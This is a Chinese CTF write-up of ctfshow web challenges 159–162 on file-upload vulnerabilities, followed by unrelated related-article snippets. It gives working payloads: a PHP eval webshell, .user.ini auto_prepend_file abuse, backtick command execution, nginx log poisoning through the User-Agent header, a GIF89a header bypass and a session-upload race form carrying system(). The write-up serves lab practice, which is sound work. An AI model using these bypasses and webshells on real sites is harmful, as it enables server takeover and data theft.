ctfshow(159->162)--文件上传漏洞

Web159

考点:

前端校验+MIME验证+黑名单

思路:

上传.user.ini文件:
文件内容auto_prepend_file=shell.png
由于网页存在前端过滤,只允许上传.png文件,所以我们将文件名修改为.user.ini.png上传,然后抓包删除.png后缀名,就能成功上传了。
在这里插入图片描述然后上传shell.png:
文件内容:<?php @eval($_POST['cmd']);?>
在这里插入图片描述不出所料被过滤了。抓包测试一下过滤了哪些字符。
在这里插入图片描述
由于[]和{}都被过滤了,不能上传一句话木马,直接进行RCE。
又因为括号(也被过滤,所以选择用反引号执行系统命令。

<?=`ls ../`?>
<?=`tac ../fla*`?>

访问/upload目录,得到flag.

Web160

思路:

上传.user.ini文件:
在这里插入图片描述上传shell.png文件:
文件内容<?php @eval($_POST['cmd']);?>
上传失败,抓包测试过滤了什么:
在这里插入图片描述

过滤了{}和[],所以不能使用一句话木马。
过滤了()和反引号,不能直接进行RCE。
考虑使用日志注入,由于过滤了log,所以拼接绕过:

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

在这里插入图片描述

修改UA为:<?php eval($_POST[1]);?>
POST传参:
1=system('ls ../');
1=system('tac ../fla*');

得到flag.

也可以蚁剑连接(要在修改后的UA头写入之后连接,不然日志文件中没有PHP代码)
在这里插入图片描述
在这里插入图片描述
得到flag.

Web161

思路:

上传.user.ini文件,显示文件上传不合规:
在这里插入图片描述其实是添加了文件头校验:

检查上传的文件时,只检查文件的后缀是不够的,还需要检测文件头是否合法。每一种类型的文件都有不同的文件头。文件头的作用其实与后缀很像,都是用于提示文件类型,可以理解为文件的前缀。

所以我们在文件内容前添加 GIF89a ,也就是GIF文件的文件头来绕过检测:

.user.ini文件内容:

GIF89a
auto_prepend_file=shell.png

在这里插入图片描述上传成功!

上传shell.png文件:

GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

上传成功!

修改UA为:<?php eval($_POST[1]);?>
POST传参:
1=system('ls ../');
1=system('tac ../fla*');

得到flag.

Web162

思路:

上传.user.ini文件,上传失败,进行fuzz测试:
在这里插入图片描述
过滤了相当多的字符
[]和{}被过滤,不能直接传一句话木马。
() " ' . 都被过滤,不能进行RCE。
这里看到点.被过滤了,所以我们不能正常上传文件与进行日志包含。
选择session条件竞争的做法。

GIF89a
auto_prepend_file=/tmp/sess_shell  //上传shell.png文件时记得将后缀名去掉

在这里插入图片描述
上传成功!(注:fuzz测试显示下划线_和/也被过滤,但是不知道为什么对上传没有影响)

准备一个上传数据包的网页:

<!DOCTYPE html>
<html>
<body>
<form action="http://67371c84-3fd6-4832-9fa5-fd0dcaedcd64.challenge.ctf.show/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('tac ../f*')?>") /><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html>

后续操作暂时没有进行成功,先将思路贴在这里:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/58633.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用pytest单元测试框架执行单元测试

Pytest 是一个功能强大且灵活的 Python 单元测试框架&#xff0c;它使编写、组织和运行测试变得更加简单。以下是 Pytest 的一些主要特点和优点&#xff1a; 简单易用&#xff1a;Pytest 提供了简洁而直观的语法&#xff0c;使编写测试用例变得非常容易。它支持使用 assert 语…

Redis 持久化 问题

前言 相关系列 《Redis & 目录》《Redis & 持久化 & 源码》《Redis & 持久化 & 总结》《Redis & 持久化 & 问题》 参考文献 《Redis的持久化详解》 Redis有哪些持久化机制&#xff1f;各自的优缺点是什么&#xff1f; RDB Redis DataBas…

可视化平台FineBI的安装及简单使用

本章知识简介 主线B: 安装FineBI 主线C: FineBI的使用. 本章目标&#xff1a; 1:了解FineBI的安装; [了解]"傻瓜式"安装 2:知道FineBI的使用流程; [了解]a.连接数据b.创建组件与分析数据c.可视化组件d.添加交互效果e.制作仪表板 3:知道如何连接数据; [重点]添加业…

在Spring Boot框架下的Java异常处理

1. Java基础异常处理 1.1 Exception类和RuntimeException类 在Java中&#xff0c;异常是程序运行过程中发生的错误或意外情况&#xff0c;异常可以打断正常的程序流程。Java的异常层次结构中&#xff0c;Throwable类是所有错误和异常的父类&#xff0c;分为两个主要子类&…

推荐一款优秀的pdf编辑器:Ashampoo PDF Pro

Ashampoo PDF Pro是管理和编辑 PDF 文档的完整解决方案。程序拥有您创建、转换、编辑和保护文档所需的一切功能。根据需要可以创建特定大小的文档&#xff0c;跨设备可读&#xff0c;还可以保护文件。现在您还能像编辑Word文档一样编辑PDF! 软件特点 轻松处理文字 如 Microso…

云原生后端开发教程

云原生后端开发教程 引言 随着云计算的普及&#xff0c;云原生架构逐渐成为现代软件开发的主流。云原生不仅仅是将应用部署到云上&#xff0c;而是一种构建和运行应用的方式&#xff0c;充分利用云计算的弹性和灵活性。本文将深入探讨云原生后端开发的核心概念、工具和实践&a…

Docker-in-Docker(DinD)

Docker-in-Docker&#xff08;DinD&#xff09;是一种在 Docker 容器内部运行 Docker 引擎的技术。这种方法允许您在一个 Docker 容器内构建和运行其他 Docker 容器。以下是 Docker-in-Docker 的工作原理及其使用场景的详细解释。 工作原理 1.1 Docker 引擎的架构 Docker 引擎…

100种算法【Python版】第28篇——扩展欧几里得算法

本文目录 1 算法思想2 示例说明3 python代码1 算法思想 扩展欧几里得算法(Extended Euclidean Algorithm)是用于计算两个整数 a a a 和 b b b<

XQT_UI 组件|02| 按钮 XPushButton

XPushButton 使用文档 简介 XPushButton 是一个自定义的按钮类&#xff0c;基于 Qt 框架构建&#xff0c;提供了丰富的样式和功能选项。它允许开发者轻松创建具有不同外观和行为的按钮&#xff0c;以满足用户界面的需求。 特性 颜色设置&#xff1a;支持多种颜色选择。样式设…

Linux线程安全(二)条件变量实现线程同步

目录 条件变量 条件变量初始化和唤醒 键盘触发条件变量唤醒线程demo 条件变量的等待 条件变量定时等待demo 条线变量实现多线程间的同步 条件变量 条件变量是为了控制多个线程的同步工作而设计的 比如说一个系统中有多个线程的存在但有且仅有一个线程在工作&#xff0c…

如何在浏览器中打开预览pdf,而不是下载

背景 上传了pdf文件之后&#xff0c;点击查看&#xff0c;跳转pdf的url&#xff0c;期望是浏览器中预览&#xff0c;而不是直接下载 原理 需要pdf资源url的响应头是下面下面这2个属性 Content-Type: application/pdf Content-Disposition: inline; 如何做 如果pdf资源服务…

leetcode hot100【LeetCode 230. 二叉搜索树中第K小的元素】java实现

LeetCode 230. 二叉搜索树中第K小的元素 题目描述 给定一个二叉搜索树的根节点 root&#xff0c;和一个整数 k&#xff0c;请你找出其中第 k 小的节点。 注意&#xff1a; 题目保证 k 的有效性。 示例&#xff1a; 给定二叉搜索树&#xff1a; 5/ \3 7/ \ \ 2 4 …

面对大模型,我是智者还是智障?基于个人能力量化问题测试!

目录 一、背景二、过程第一问&#xff1a;一个人拥有什么样的能力&#xff0c;可以在每天的工作生活中深度思考&#xff0c;并且能阶段性的突破自己的认知&#xff0c;不断迭代&#xff1f; 另外还可以再自己认知层次的基数上&#xff0c;做到思想上移和行动下移的结果&#xf…

python的lambda实用技巧

lambda表达式 lambda表达式是一种简化的函数表现形式&#xff0c;也叫匿名函数&#xff0c;可以存在函数名也可以不存在。 使用一行代码就可以表示一个函数&#xff1a; # 格式 lambda arg[参数] : exp[表现形式] # 无参写法 lambda : "hello" # 一般写法 lambda …

LeetCode72:编辑距离

题目链接&#xff1a;72. 编辑距离 - 力扣&#xff08;LeetCode&#xff09; 代码如下&#xff1a; class Solution { public:int minDistance(string word1, string word2) {vector<vector<int> > dp(word1.size() 1, vector<int>(word2.size() 1));for…

复现第一周24

1.[SWPUCTF 2021 新生赛]gift_F12 1&#xff09;打开题目 2&#xff09;看源码 3&#xff09;直接ctrl&#xff0b;f搜索flag 2.[SWPUCTF 2021 新生赛]nc签到 1&#xff09;开题 2&#xff09;下载附件用记事本打开 3&#xff09;打开kali使用nc连接代码 输入l\s命令绕过黑名…

LSTM,全称长短期记忆网络(Long Short-Term Memory),是一种特殊的循环神经网络(RNN)结构

关于lstm超参数设置&#xff0c;每个参数都有合适的范围&#xff0c;超过这个范围则lstm训练不再有效&#xff0c;loss不变&#xff0c;acc也不变 LSTM&#xff0c;全称长短期记忆网络&#xff08;Long Short-Term Memory&#xff09;&#xff0c;是一种特殊的循环神经网络&am…

「Mac畅玩鸿蒙与硬件8」鸿蒙开发环境配置篇8 - 应用依赖与资源管理

本篇将介绍如何在 HarmonyOS 项目中高效管理资源文件和依赖&#xff0c;以确保代码结构清晰并提升应用性能。资源管理涉及图片、字符串、多语言文件等&#xff0c;通过优化文件加载和依赖管理&#xff0c;可以显著提升项目的加载速度和运行效率。 关键词 资源管理应用依赖优化…

15分钟学 Go 小项目:Web API

Web API 在现代应用开发中&#xff0c;Web API&#xff08;应用程序编程接口&#xff09;是实现系统间交互的关键。通过理解HTTP协议、路由、RESTful设计原则&#xff0c;我们可以设计出高效、可维护的API。接下来&#xff0c;我们将深入探讨这些主题&#xff0c;并以一个简单…